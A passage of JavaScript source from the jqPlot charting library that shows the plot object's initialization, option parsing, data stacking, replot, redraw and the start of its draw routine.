this._drawCount = 0; // sum of y values for all series in plot. // used in mekko chart. this._sumy = 0; this._sumx = 0; // array to hold the cumulative stacked series data. // used to ajust the individual series data, which won't have access to other // series data. this._stackData = []; // array that holds the data to be plotted. This will be the series data // merged with the the appropriate data from _stackData according to the stackAxis. this._plotData = []; this._width = null; this._height = null; this._plotDimensions = {height:null, width:null}; this._gridPadding = {top:null, right:null, bottom:null, left:null}; this._defaultGridPadding = {top:10, right:10, bottom:23, left:10}; this._addDomReference = $.jqplot.config.addDomReference; this.preInitHooks = new $.jqplot.HooksManager(); this.postInitHooks = new $.jqplot.HooksManager(); this.preParseOptionsHooks = new $.jqplot.HooksManager(); this.postParseOptionsHooks = new $.jqplot.HooksManager(); this.preDrawHooks = new $.jqplot.HooksManager(); this.postDrawHooks = new $.jqplot.HooksManager(); this.preDrawSeriesHooks = new $.jqplot.HooksManager(); this.postDrawSeriesHooks = new $.jqplot.HooksManager(); this.preDrawLegendHooks = new $.jqplot.HooksManager(); this.addLegendRowHooks = new $.jqplot.HooksManager(); this.preSeriesInitHooks = new $.jqplot.HooksManager(); this.postSeriesInitHooks = new $.jqplot.HooksManager(); this.preParseSeriesOptionsHooks = new $.jqplot.HooksManager(); this.postParseSeriesOptionsHooks = new $.jqplot.HooksManager(); this.eventListenerHooks = new $.jqplot.EventListenerManager(); this.preDrawSeriesShadowHooks = new $.jqplot.HooksManager(); this.postDrawSeriesShadowHooks = new $.jqplot.HooksManager(); this.colorGenerator = new $.jqplot.ColorGenerator(); this.negativeColorGenerator = new $.jqplot.ColorGenerator(); this.canvasManager = new $.jqplot.CanvasManager(); this.themeEngine = new $.jqplot.ThemeEngine(); var seriesColorsIndex = 0; // Group: methods // // method: init // sets the plot target, checks data and applies user // options to plot. this.init = function(target, data, options) { options = options || {}; for (var i=0; i<$.jqplot.preInitHooks.length; i++) { $.jqplot.preInitHooks[i].call(this, target, data, options); } for (var i=0; i<this.preInitHooks.hooks.length; i++) { this.preInitHooks.hooks[i].call(this, target, data, options); } this.targetId = '#'+target; this.target = $('#'+target); ////// // Add a reference to plot ////// if (this._addDomReference) { this.target.data('jqplot', this); } // remove any error class that may be stuck on target. this.target.removeClass('jqplot-error'); if (!this.target.get(0)) { throw new Error("No plot target specified"); } // make sure the target is positioned by some means and set css if (this.target.css('position') == 'static') { this.target.css('position', 'relative'); } if (!this.target.hasClass('jqplot-target')) { this.target.addClass('jqplot-target'); } // if no height or width specified, use a default. if (!this.target.height()) { var h; if (options && options.height) { h = parseInt(options.height, 10); } else if (this.target.attr('data-height')) { h = parseInt(this.target.attr('data-height'), 10); } else { h = parseInt($.jqplot.config.defaultHeight, 10); } this._height = h; this.target.css('height', h+'px'); } else { this._height = h = this.target.height(); } if (!this.target.width()) { var w; if (options && options.width) { w = parseInt(options.width, 10); } else if (this.target.attr('data-width')) { w = parseInt(this.target.attr('data-width'), 10); } else { w = parseInt($.jqplot.config.defaultWidth, 10); } this._width = w; this.target.css('width', w+'px'); } else { this._width = w = this.target.width(); } for (var i=0, l=_axisNames.length; i<l; i++) { this.axes[_axisNames[i]] = new Axis(_axisNames[i]); } this._plotDimensions.height = this._height; this._plotDimensions.width = this._width; this.grid._plotDimensions = this._plotDimensions; this.title._plotDimensions = this._plotDimensions; this.baseCanvas._plotDimensions = this._plotDimensions; this.eventCanvas._plotDimensions = this._plotDimensions; this.legend._plotDimensions = this._plotDimensions; if (this._height <=0 || this._width <=0 || !this._height || !this._width) { throw new Error("Canvas dimension not set"); } if (options.dataRenderer && $.isFunction(options.dataRenderer)) { if (options.dataRendererOptions) { this.dataRendererOptions = options.dataRendererOptions; } this.dataRenderer = options.dataRenderer; data = this.dataRenderer(data, this, this.dataRendererOptions); } if (options.noDataIndicator && $.isPlainObject(options.noDataIndicator)) { $.extend(true, this.noDataIndicator, options.noDataIndicator); } if (data == null || $.isArray(data) == false || data.length == 0 || $.isArray(data[0]) == false || data[0].length == 0) { if (this.noDataIndicator.show == false) { throw new Error("No data specified"); } else { // have to be descructive here in order for plot to not try and render series. // This means that $.jqplot() will have to be called again when there is data. //delete options.series; for (var ax in this.noDataIndicator.axes) { for (var prop in this.noDataIndicator.axes[ax]) { this.axes[ax][prop] = this.noDataIndicator.axes[ax][prop]; } } this.postDrawHooks.add(function() { var eh = this.eventCanvas.getHeight(); var ew = this.eventCanvas.getWidth(); var temp = $('<div class="jqplot-noData-container" style="position:absolute;"></div>'); this.target.append(temp); temp.height(eh); temp.width(ew); temp.css('top', this.eventCanvas._offsets.top); temp.css('left', this.eventCanvas._offsets.left); var temp2 = $('<div class="jqplot-noData-contents" style="text-align:center; position:relative; margin-left:auto; margin-right:auto;"></div>'); temp.append(temp2); temp2.html(this.noDataIndicator.indicator); var th = temp2.height(); var tw = temp2.width(); temp2.height(th); temp2.width(tw); temp2.css('top', (eh - th)/2 + 'px'); }); } } // make a copy of the data this.data = $.extend(true, [], data); this.parseOptions(options); if (this.textColor) { this.target.css('color', this.textColor); } if (this.fontFamily) { this.target.css('font-family', this.fontFamily); } if (this.fontSize) { this.target.css('font-size', this.fontSize); } this.title.init(); this.legend.init(); this._sumy = 0; this._sumx = 0; this.computePlotData(); for (var i=0; i<this.series.length; i++) { // set default stacking order for series canvases this.seriesStack.push(i); this.previousSeriesStack.push(i); this.series[i].shadowCanvas._plotDimensions = this._plotDimensions; this.series[i].canvas._plotDimensions = this._plotDimensions; for (var j=0; j<$.jqplot.preSeriesInitHooks.length; j++) { $.jqplot.preSeriesInitHooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } for (var j=0; j<this.preSeriesInitHooks.hooks.length; j++) { this.preSeriesInitHooks.hooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } // this.populatePlotData(this.series[i], i); this.series[i]._plotDimensions = this._plotDimensions; this.series[i].init(i, this.grid.borderWidth, this); for (var j=0; j<$.jqplot.postSeriesInitHooks.length; j++) { $.jqplot.postSeriesInitHooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } for (var j=0; j<this.postSeriesInitHooks.hooks.length; j++) { this.postSeriesInitHooks.hooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } this._sumy += this.series[i]._sumy; this._sumx += this.series[i]._sumx; } var name, axis; for (var i=0, l=_axisNames.length; i<l; i++) { name = _axisNames[i]; axis = this.axes[name]; axis._plotDimensions = this._plotDimensions; axis.init(); if (this.axes[name].borderColor == null) { if (name.charAt(0) !== 'x' && axis.useSeriesColor === true && axis.show) { axis.borderColor = axis._series[0].color; } else { axis.borderColor = this.grid.borderColor; } } } if (this.sortData) { sortData(this.series); } this.grid.init(); this.grid._axes = this.axes; this.legend._series = this.series; for (var i=0; i<$.jqplot.postInitHooks.length; i++) { $.jqplot.postInitHooks[i].call(this, target, this.data, options); } for (var i=0; i<this.postInitHooks.hooks.length; i++) { this.postInitHooks.hooks[i].call(this, target, this.data, options); } }; // method: resetAxesScale // Reset the specified axes min, max, numberTicks and tickInterval properties to null // or reset these properties on all axes if no list of axes is provided. // // Parameters: // axes - Boolean to reset or not reset all axes or an array or object of axis names to reset. this.resetAxesScale = function(axes, options) { var opts = options || {}; var ax = axes || this.axes; if (ax === true) { ax = this.axes; } if ($.isArray(ax)) { for (var i = 0; i < ax.length; i++) { this.axes[ax[i]].resetScale(opts[ax[i]]); } } else if (typeof(ax) === 'object') { for (var name in ax) { this.axes[name].resetScale(opts[name]); } } }; // method: reInitialize // reinitialize plot for replotting. // not called directly. this.reInitialize = function (data, opts) { // Plot should be visible and have a height and width. // If plot doesn't have height and width for some // reason, set it by other means. Plot must not have // a display:none attribute, however. var options = $.extend(true, {}, this.options, opts); var target = this.targetId.substr(1); var tdata = (data == null) ? this.data : data; for (var i=0; i<$.jqplot.preInitHooks.length; i++) { $.jqplot.preInitHooks[i].call(this, target, tdata, options); } for (var i=0; i<this.preInitHooks.hooks.length; i++) { this.preInitHooks.hooks[i].call(this, target, tdata, options); } this._height = this.target.height(); this._width = this.target.width(); if (this._height <=0 || this._width <=0 || !this._height || !this._width) { throw new Error("Target dimension not set"); } this._plotDimensions.height = this._height; this._plotDimensions.width = this._width; this.grid._plotDimensions = this._plotDimensions; this.title._plotDimensions = this._plotDimensions; this.baseCanvas._plotDimensions = this._plotDimensions; this.eventCanvas._plotDimensions = this._plotDimensions; this.legend._plotDimensions = this._plotDimensions; var name, t, j, axis; for (var i=0, l=_axisNames.length; i<l; i++) { name = _axisNames[i]; axis = this.axes[name]; // Memory Leaks patch : clear ticks elements t = axis._ticks; for (var j = 0, tlen = t.length; j < tlen; j++) { var el = t[j]._elem; if (el) { // if canvas renderer if ($.jqplot.use_excanvas && window.G_vmlCanvasManager.uninitElement !== undefined) { window.G_vmlCanvasManager.uninitElement(el.get(0)); } el.emptyForce(); el = null; t._elem = null; } } t = null; delete axis.ticks; delete axis._ticks; this.axes[name] = new Axis(name); this.axes[name]._plotWidth = this._width; this.axes[name]._plotHeight = this._height; } if (data) { if (options.dataRenderer && $.isFunction(options.dataRenderer)) { if (options.dataRendererOptions) { this.dataRendererOptions = options.dataRendererOptions; } this.dataRenderer = options.dataRenderer; data = this.dataRenderer(data, this, this.dataRendererOptions); } // make a copy of the data this.data = $.extend(true, [], data); } if (opts) { this.parseOptions(options); } this.title._plotWidth = this._width; if (this.textColor) { this.target.css('color', this.textColor); } if (this.fontFamily) { this.target.css('font-family', this.fontFamily); } if (this.fontSize) { this.target.css('font-size', this.fontSize); } this.title.init(); this.legend.init(); this._sumy = 0; this._sumx = 0; this.seriesStack = []; this.previousSeriesStack = []; this.computePlotData(); for (var i=0, l=this.series.length; i<l; i++) { // set default stacking order for series canvases this.seriesStack.push(i); this.previousSeriesStack.push(i); this.series[i].shadowCanvas._plotDimensions = this._plotDimensions; this.series[i].canvas._plotDimensions = this._plotDimensions; for (var j=0; j<$.jqplot.preSeriesInitHooks.length; j++) { $.jqplot.preSeriesInitHooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } for (var j=0; j<this.preSeriesInitHooks.hooks.length; j++) { this.preSeriesInitHooks.hooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } // this.populatePlotData(this.series[i], i); this.series[i]._plotDimensions = this._plotDimensions; this.series[i].init(i, this.grid.borderWidth, this); for (var j=0; j<$.jqplot.postSeriesInitHooks.length; j++) { $.jqplot.postSeriesInitHooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } for (var j=0; j<this.postSeriesInitHooks.hooks.length; j++) { this.postSeriesInitHooks.hooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } this._sumy += this.series[i]._sumy; this._sumx += this.series[i]._sumx; } for (var i=0, l=_axisNames.length; i<l; i++) { name = _axisNames[i]; axis = this.axes[name]; axis._plotDimensions = this._plotDimensions; axis.init(); if (axis.borderColor == null) { if (name.charAt(0) !== 'x' && axis.useSeriesColor === true && axis.show) { axis.borderColor = axis._series[0].color; } else { axis.borderColor = this.grid.borderColor; } } } if (this.sortData) { sortData(this.series); } this.grid.init(); this.grid._axes = this.axes; this.legend._series = this.series; for (var i=0, l=$.jqplot.postInitHooks.length; i<l; i++) { $.jqplot.postInitHooks[i].call(this, target, this.data, options); } for (var i=0, l=this.postInitHooks.hooks.length; i<l; i++) { this.postInitHooks.hooks[i].call(this, target, this.data, options); } }; // method: quickInit // // Quick reinitialization plot for replotting. // Does not parse options ore recreate axes and series. // not called directly. this.quickInit = function () { // Plot should be visible and have a height and width. // If plot doesn't have height and width for some // reason, set it by other means. Plot must not have // a display:none attribute, however. this._height = this.target.height(); this._width = this.target.width(); if (this._height <=0 || this._width <=0 || !this._height || !this._width) { throw new Error("Target dimension not set"); } this._plotDimensions.height = this._height; this._plotDimensions.width = this._width; this.grid._plotDimensions = this._plotDimensions; this.title._plotDimensions = this._plotDimensions; this.baseCanvas._plotDimensions = this._plotDimensions; this.eventCanvas._plotDimensions = this._plotDimensions; this.legend._plotDimensions = this._plotDimensions; for (var n in this.axes) { this.axes[n]._plotWidth = this._width; this.axes[n]._plotHeight = this._height; } this.title._plotWidth = this._width; if (this.textColor) { this.target.css('color', this.textColor); } if (this.fontFamily) { this.target.css('font-family', this.fontFamily); } if (this.fontSize) { this.target.css('font-size', this.fontSize); } this._sumy = 0; this._sumx = 0; this.computePlotData(); for (var i=0; i<this.series.length; i++) { // this.populatePlotData(this.series[i], i); if (this.series[i]._type === 'line' && this.series[i].renderer.bands.show) { this.series[i].renderer.initBands.call(this.series[i], this.series[i].renderer.options, this); } this.series[i]._plotDimensions = this._plotDimensions; this.series[i].canvas._plotDimensions = this._plotDimensions; //this.series[i].init(i, this.grid.borderWidth); this._sumy += this.series[i]._sumy; this._sumx += this.series[i]._sumx; } var name; for (var j=0; j<12; j++) { name = _axisNames[j]; // Memory Leaks patch : clear ticks elements var t = this.axes[name]._ticks; for (var i = 0; i < t.length; i++) { var el = t[i]._elem; if (el) { // if canvas renderer if ($.jqplot.use_excanvas && window.G_vmlCanvasManager.uninitElement !== undefined) { window.G_vmlCanvasManager.uninitElement(el.get(0)); } el.emptyForce(); el = null; t._elem = null; } } t = null; this.axes[name]._plotDimensions = this._plotDimensions; this.axes[name]._ticks = []; // this.axes[name].renderer.init.call(this.axes[name], {}); } if (this.sortData) { sortData(this.series); } this.grid._axes = this.axes; this.legend._series = this.series; }; // sort the series data in increasing order. function sortData(series) { var d, sd, pd, ppd, ret; for (var i=0; i<series.length; i++) { var check; var bat = [series[i].data, series[i]._stackData, series[i]._plotData, series[i]._prevPlotData]; for (var n=0; n<4; n++) { check = true; d = bat[n]; if (series[i]._stackAxis == 'x') { for (var j = 0; j < d.length; j++) { if (typeof(d[j][1]) != "number") { check = false; break; } } if (check) { d.sort(function(a,b) { return a[1] - b[1]; }); } } else { for (var j = 0; j < d.length; j++) { if (typeof(d[j][0]) != "number") { check = false; break; } } if (check) { d.sort(function(a,b) { return a[0] - b[0]; }); } } } } } this.computePlotData = function() { this._plotData = []; this._stackData = []; var series, index, l; for (index=0, l=this.series.length; index<l; index++) { series = this.series[index]; this._plotData.push([]); this._stackData.push([]); var cd = series.data; this._plotData[index] = $.extend(true, [], cd); this._stackData[index] = $.extend(true, [], cd); series._plotData = this._plotData[index]; series._stackData = this._stackData[index]; var plotValues = {x:[], y:[]}; if (this.stackSeries && !series.disableStack) { series._stack = true; /////////////////////////// // have to check for nulls /////////////////////////// var sidx = (series._stackAxis === 'x') ? 0 : 1; for (var k=0, cdl=cd.length; k<cdl; k++) { var temp = cd[k][sidx]; if (temp == null) { temp = 0; } this._plotData[index][k][sidx] = temp; this._stackData[index][k][sidx] = temp; if (index > 0) { for (var j=index; j--;) { var prevval = this._plotData[j][k][sidx]; // only need to sum up the stack axis column of data // and only sum if it is of same sign. // if previous series isn't same sign, keep looking // at earlier series untill we find one of same sign. if (temp * prevval >= 0) { this._plotData[index][k][sidx] += prevval; this._stackData[index][k][sidx] += prevval; break; } } } } } else { for (var i=0; i<series.data.length; i++) { plotValues.x.push(series.data[i][0]); plotValues.y.push(series.data[i][1]); } this._stackData.push(series.data); this.series[index]._stackData = series.data; this._plotData.push(series.data); series._plotData = series.data; series._plotValues = plotValues; } if (index>0) { series._prevPlotData = this.series[index-1]._plotData; } series._sumy = 0; series._sumx = 0; for (i=series.data.length-1; i>-1; i--) { series._sumy += series.data[i][1]; series._sumx += series.data[i][0]; } } }; // populate the _stackData and _plotData arrays for the plot and the series. this.populatePlotData = function(series, index) { // if a stacked chart, compute the stacked data this._plotData = []; this._stackData = []; series._stackData = []; series._plotData = []; var plotValues = {x:[], y:[]}; if (this.stackSeries && !series.disableStack) { series._stack = true; var sidx = (series._stackAxis === 'x') ? 0 : 1; // var idx = sidx ? 0 : 1; // push the current data into stackData //this._stackData.push(this.series[i].data); var temp = $.extend(true, [], series.data); // create the data that will be plotted for this series var plotdata = $.extend(true, [], series.data); var tempx, tempy, dval, stackval, comparator; // for first series, nothing to add to stackData. for (var j=0; j<index; j++) { var cd = this.series[j].data; for (var k=0; k<cd.length; k++) { dval = cd[k]; tempx = (dval[0] != null) ? dval[0] : 0; tempy = (dval[1] != null) ? dval[1] : 0; temp[k][0] += tempx; temp[k][1] += tempy; stackval = (sidx) ? tempy : tempx; // only need to sum up the stack axis column of data // and only sum if it is of same sign. if (series.data[k][sidx] * stackval >= 0) { plotdata[k][sidx] += stackval; } } } for (var i=0; i<plotdata.length; i++) { plotValues.x.push(plotdata[i][0]); plotValues.y.push(plotdata[i][1]); } this._plotData.push(plotdata); this._stackData.push(temp); series._stackData = temp; series._plotData = plotdata; series._plotValues = plotValues; } else { for (var i=0; i<series.data.length; i++) { plotValues.x.push(series.data[i][0]); plotValues.y.push(series.data[i][1]); } this._stackData.push(series.data); this.series[index]._stackData = series.data; this._plotData.push(series.data); series._plotData = series.data; series._plotValues = plotValues; } if (index>0) { series._prevPlotData = this.series[index-1]._plotData; } series._sumy = 0; series._sumx = 0; for (i=series.data.length-1; i>-1; i--) { series._sumy += series.data[i][1]; series._sumx += series.data[i][0]; } }; // function to safely return colors from the color array and wrap around at the end. this.getNextSeriesColor = (function(t) { var idx = 0; var sc = t.seriesColors; return function () { if (idx < sc.length) { return sc[idx++]; } else { idx = 0; return sc[idx++]; } }; })(this); this.parseOptions = function(options){ for (var i=0; i<this.preParseOptionsHooks.hooks.length; i++) { this.preParseOptionsHooks.hooks[i].call(this, options); } for (var i=0; i<$.jqplot.preParseOptionsHooks.length; i++) { $.jqplot.preParseOptionsHooks[i].call(this, options); } this.options = $.extend(true, {}, this.defaults, options); var opts = this.options; this.animate = opts.animate; this.animateReplot = opts.animateReplot; this.stackSeries = opts.stackSeries; if ($.isPlainObject(opts.fillBetween)) { var temp = ['series1', 'series2', 'color', 'baseSeries', 'fill'], tempi; for (var i=0, l=temp.length; i<l; i++) { tempi = temp[i]; if (opts.fillBetween[tempi] != null) { this.fillBetween[tempi] = opts.fillBetween[tempi]; } } } if (opts.seriesColors) { this.seriesColors = opts.seriesColors; } if (opts.negativeSeriesColors) { this.negativeSeriesColors = opts.negativeSeriesColors; } if (opts.captureRightClick) { this.captureRightClick = opts.captureRightClick; } this.defaultAxisStart = (options && options.defaultAxisStart != null) ? options.defaultAxisStart : this.defaultAxisStart; this.colorGenerator.setColors(this.seriesColors); this.negativeColorGenerator.setColors(this.negativeSeriesColors); // var cg = new this.colorGenerator(this.seriesColors); // var ncg = new this.colorGenerator(this.negativeSeriesColors); // this._gridPadding = this.options.gridPadding; $.extend(true, this._gridPadding, opts.gridPadding); this.sortData = (opts.sortData != null) ? opts.sortData : this.sortData; for (var i=0; i<12; i++) { var n = _axisNames[i]; var axis = this.axes[n]; axis._options = $.extend(true, {}, opts.axesDefaults, opts.axes[n]); $.extend(true, axis, opts.axesDefaults, opts.axes[n]); axis._plotWidth = this._width; axis._plotHeight = this._height; } // if (this.data.length == 0) { // this.data = []; // for (var i=0; i<this.options.series.length; i++) { // this.data.push(this.options.series.data); // } // } var normalizeData = function(data, dir, start) { // return data as an array of point arrays, // in form [[x1,y1...], [x2,y2...], ...] var temp = []; var i, l; dir = dir || 'vertical'; if (!$.isArray(data[0])) { // we have a series of scalars. One line with just y values. // turn the scalar list of data into a data array of form: // [[1, data[0]], [2, data[1]], ...] for (i=0, l=data.length; i<l; i++) { if (dir == 'vertical') { temp.push([start + i, data[i]]); } else { temp.push([data[i], start+i]); } } } else { // we have a properly formatted data series, copy it. $.extend(true, temp, data); } return temp; }; var colorIndex = 0; this.series = []; for (var i=0; i<this.data.length; i++) { var sopts = $.extend(true, {index: i}, {seriesColors:this.seriesColors, negativeSeriesColors:this.negativeSeriesColors}, this.options.seriesDefaults, this.options.series[i], {rendererOptions:{animation:{show: this.animate}}}); // pass in options in case something needs set prior to initialization. var temp = new Series(sopts); for (var j=0; j<$.jqplot.preParseSeriesOptionsHooks.length; j++) { $.jqplot.preParseSeriesOptionsHooks[j].call(temp, this.options.seriesDefaults, this.options.series[i]); } for (var j=0; j<this.preParseSeriesOptionsHooks.hooks.length; j++) { this.preParseSeriesOptionsHooks.hooks[j].call(temp, this.options.seriesDefaults, this.options.series[i]); } // Now go back and apply the options to the series. Really should just do this during initializaiton, but don't want to // mess up preParseSeriesOptionsHooks at this point. $.extend(true, temp, sopts); var dir = 'vertical'; if (temp.renderer === $.jqplot.BarRenderer && temp.rendererOptions && temp.rendererOptions.barDirection == 'horizontal') { dir = 'horizontal'; temp._stackAxis = 'x'; temp._primaryAxis = '_yaxis'; } temp.data = normalizeData(this.data[i], dir, this.defaultAxisStart); switch (temp.xaxis) { case 'xaxis': temp._xaxis = this.axes.xaxis; break; case 'x2axis': temp._xaxis = this.axes.x2axis; break; default: break; } temp._yaxis = this.axes[temp.yaxis]; temp._xaxis._series.push(temp); temp._yaxis._series.push(temp); if (temp.show) { temp._xaxis.show = true; temp._yaxis.show = true; } else { if (temp._xaxis.scaleToHiddenSeries) { temp._xaxis.show = true; } if (temp._yaxis.scaleToHiddenSeries) { temp._yaxis.show = true; } } // // parse the renderer options and apply default colors if not provided // if (!temp.color && temp.show != false) { // temp.color = cg.next(); // colorIndex = cg.getIndex() - 1;; // } // if (!temp.negativeColor && temp.show != false) { // temp.negativeColor = ncg.get(colorIndex); // ncg.setIndex(colorIndex); // } if (!temp.label) { temp.label = 'Series '+ (i+1).toString(); } // temp.rendererOptions.show = temp.show; // $.extend(true, temp.renderer, {color:this.seriesColors[i]}, this.rendererOptions); this.series.push(temp); for (var j=0; j<$.jqplot.postParseSeriesOptionsHooks.length; j++) { $.jqplot.postParseSeriesOptionsHooks[j].call(this.series[i], this.options.seriesDefaults, this.options.series[i]); } for (var j=0; j<this.postParseSeriesOptionsHooks.hooks.length; j++) { this.postParseSeriesOptionsHooks.hooks[j].call(this.series[i], this.options.seriesDefaults, this.options.series[i]); } } // copy the grid and title options into this object. $.extend(true, this.grid, this.options.grid); // if axis border properties aren't set, set default. for (var i=0, l=_axisNames.length; i<l; i++) { var n = _axisNames[i]; var axis = this.axes[n]; if (axis.borderWidth == null) { axis.borderWidth =this.grid.borderWidth; } } if (typeof this.options.title == 'string') { this.title.text = this.options.title; } else if (typeof this.options.title == 'object') { $.extend(true, this.title, this.options.title); } this.title._plotWidth = this._width; this.legend.setOptions(this.options.legend); for (var i=0; i<$.jqplot.postParseOptionsHooks.length; i++) { $.jqplot.postParseOptionsHooks[i].call(this, options); } for (var i=0; i<this.postParseOptionsHooks.hooks.length; i++) { this.postParseOptionsHooks.hooks[i].call(this, options); } }; // method: destroy // Releases all resources occupied by the plot this.destroy = function() { this.canvasManager.freeAllCanvases(); if (this.eventCanvas && this.eventCanvas._elem) { this.eventCanvas._elem.unbind(); } // Couple of posts on Stack Overflow indicate that empty() doesn't // always cear up the dom and release memory. Sometimes setting // innerHTML property to null is needed. Particularly on IE, may // have to directly set it to null, bypassing $. this.target.empty(); this.target[0].innerHTML = ''; }; // method: replot // Does a reinitialization of the plot followed by // a redraw. Method could be used to interactively // change plot characteristics and then replot. // // Parameters: // options - Options used for replotting. // // Properties: // clear - false to not clear (empty) the plot container before replotting (default: true). // resetAxes - true to reset all axes min, max, numberTicks and tickInterval setting so axes will rescale themselves. // optionally pass in list of axes to reset (e.g. ['xaxis', 'y2axis']) (default: false). this.replot = function(options) { var opts = options || {}; var data = opts.data || null; var clear = (opts.clear === false) ? false : true; var resetAxes = opts.resetAxes || false; delete opts.data; delete opts.clear; delete opts.resetAxes; this.target.trigger('jqplotPreReplot'); if (clear) { this.destroy(); } // if have data or other options, full reinit. // otherwise, quickinit. if (data || !$.isEmptyObject(opts)) { this.reInitialize(data, opts); } else { this.quickInit(); } if (resetAxes) { this.resetAxesScale(resetAxes, opts.axes); } this.draw(); this.target.trigger('jqplotPostReplot'); }; // method: redraw // Empties the plot target div and redraws the plot. // This enables plot data and properties to be changed // and then to comletely clear the plot and redraw. // redraw *will not* reinitialize any plot elements. // That is, axes will not be autoscaled and defaults // will not be reapplied to any plot elements. redraw // is used primarily with zooming. // // Parameters: // clear - false to not clear (empty) the plot container before redrawing (default: true). this.redraw = function(clear) { clear = (clear != null) ? clear : true; this.target.trigger('jqplotPreRedraw'); if (clear) { this.canvasManager.freeAllCanvases(); this.eventCanvas._elem.unbind(); // Dont think I bind any events to the target, this shouldn't be necessary. // It will remove user's events. // this.target.unbind(); this.target.empty(); } for (var ax in this.axes) { this.axes[ax]._ticks = []; } this.computePlotData(); // for (var i=0; i<this.series.length; i++) { // this.populatePlotData(this.series[i], i); // } this._sumy = 0; this._sumx = 0; for (var i=0, tsl = this.series.length; i<tsl; i++) { this._sumy += this.series[i]._sumy; this._sumx += this.series[i]._sumx; } this.draw(); this.target.trigger('jqplotPostRedraw'); }; // method: draw // Draws all elements of the plot into the container. // Does not clear the container before drawing. this.draw = function(){ if (this.drawIfHidden || this.target.is(':visible')) { this.target.trigger('jqplotPreDraw'); var i, j, l, tempseries; for (i=0, l=$.jqplot.preDrawHooks.length; i<l; i++) { $.jqplot.preDrawHooks[i].call(this); } for (i=0, l=this.preDrawHooks.hooks.length; i<l; i++) { this.preDrawHooks.hooks[i].apply(this, this.preDrawSeriesHooks.args[i]); } // create an underlying canvas to be used for special features. this.target.append(this.baseCanvas.createElement({left:0, right:0, top:0, bottom:0}, 'jqplot-base-canvas', null, this)); this.baseCanvas.setContext(); this.target.append(this.title.draw()); this.title.pack({top:0, left:0}); // make room for the legend between the grid and the edge. // pass a dummy offsets object and a reference to the plot. var legendElem = this.legend.draw({}, this); var gridPadding = {top:0, left:0, bottom:0, right:0}; if (this.legend.placement == "outsideGrid") { // temporarily append the legend to get dimensions this.target.append(legendElem); switch (this.legend.location) { case 'n': gridPadding.top += this.legend.getHeight(); break; case 's': gridPadding.bottom += this.legend.getHeight(); break; case 'ne': case 'e': case 'se': gridPadding.right += this.legend.getWidth(); break; case 'nw': case 'w': case 'sw': gridPadding.left += this.legend.getWidth(); break; default: // same as 'ne' gridPadding.right += this.legend.getWidth(); break; } legendElem = legendElem.detach(); } var ax = this.axes; var name; // draw the yMidAxis first, so xaxis of pyramid chart can adjust itself if needed. for (i=0; i<12; i++) { name = _axisNames[i]; this.target.append(ax[name].draw(this.baseCanvas._ctx, this)); ax[name].set(); } if (ax.yaxis.show) { gridPadding.left += ax.yaxis.getWidth(); } var ra = ['y2axis', 'y3axis', 'y4axis', 'y5axis', 'y6axis', 'y7axis', 'y8axis', 'y9axis']; var rapad = [0, 0, 0, 0, 0, 0, 0, 0]; var gpr = 0; var n; for (n=0; n<8; n++) { if (ax[ra[n]].show) { gpr += ax[ra[n]].getWidth(); rapad[n] = gpr; } } gridPadding.right += gpr; if (ax.x2axis.show) { gridPadding.top += ax.x2axis.getHeight(); } if (this.title.show) { gridPadding.top += this.title.getHeight(); } if (ax.xaxis.show) { gridPadding.bottom += ax.xaxis.getHeight(); } // end of gridPadding adjustments. // if user passed in gridDimensions option, check against calculated gridPadding if (this.options.gridDimensions && $.isPlainObject(this.options.gridDimensions)) { var gdw = parseInt(this.options.gridDimensions.width, 10) || 0; var gdh = parseInt(this.options.gridDimensions.height, 10) || 0; var widthAdj = (this._width - gridPadding.left - gridPadding.right - gdw)/2; var heightAdj = (this._height - gridPadding.top - gridPadding.bottom - gdh)/2; if (heightAdj >= 0 && widthAdj >= 0) { gridPadding.top += heightAdj; gridPadding.bottom += heightAdj; gridPadding.left += widthAdj; gridPadding.right += widthAdj; } } var arr = ['top', 'bottom', 'left', 'right']; for (var n in arr) { if (this._gridPadding[arr[n]] == null && gridPadding[arr[n]] > 0) { this._gridPadding[arr[n]] = gridPadding[arr[n]]; } else if (this._gridPadding[arr[n]] == null) { this._gridPadding[arr[n]] = this._defaultGridPadding[arr[n]]; } } var legendPadding = this._gridPadding; if (this.legend.placement === 'outsideGrid') { legendPadding = {top:this.title.getHeight(), left: 0, right: 0, bottom: 0}; } ax.xaxis.pack({position:'absolute', bottom:this._gridPadding.bottom - ax.xaxis.getHeight(), left:0, width:this._width}, {min:this._gridPadding.left, max:this._width - this._gridPadding.right}); ax.yaxis.pack({position:'absolute', top:0, left:this._gridPadding.left - ax.yaxis.getWidth(), height:this._height}, {min:this._height - this._gridPadding.bottom, max: this._gridPadding.top}); ax.x2axis.pack({position:'absolute', top:this._gridPadding.top - ax.x2axis.getHeight(), left:0, width:this._width}, {min:this._gridPadding.left, max:this._width - this._gridPadding.right}); for (i=8; i>0; i--) { ax[ra[i-1]].pack({position:'absolute', top:0, right:this._gridPadding.right - rapad[i-1]}, {min:this._height - this._gridPadding.bottom, max: this._gridPadding.top}); } var ltemp = (this._width - this._gridPadding.left - this._gridPadding.right)/2.0 + this._gridPadding.left - ax.yMidAxis.getWidth()/2.0; ax.yMidAxis.pack({position:'absolute', top:0, left:ltemp, zIndex:9, textAlign: 'center'}, {min:this._height - this._gridPadding.bottom, max: this._gridPadding.top}); this.target.append(this.grid.createElement(this._gridPadding, this)); this.grid.draw(); var series = this.series; var seriesLength = series.length; // put the shadow canvases behind the series canvases so shadows don't overlap on stacked bars. for (i=0, l=seriesLength; i<l; i++) { // draw series in order of stacking. This affects only // order in which canvases are added to dom. j = this.seriesStack[i]; this.target.append(series[j].shadowCanvas.createElement(this._gridPadding, 'jqplot-series-shadowCanvas', null, this)); series[j].shadowCanvas.setContext(); series[j].shadowCanvas._elem.data('seriesIndex', j); } for (i=0, l=seriesLength; i<l; i++) { // draw series in order of stacking. This affects only // order in which canvases are added to dom. j = this.seriesStack[i]; this.target.append(series[j].canvas.createElement(this._gridPadding, 'jqplot-series-canvas', null, this)); series[j].canvas.setContext(); 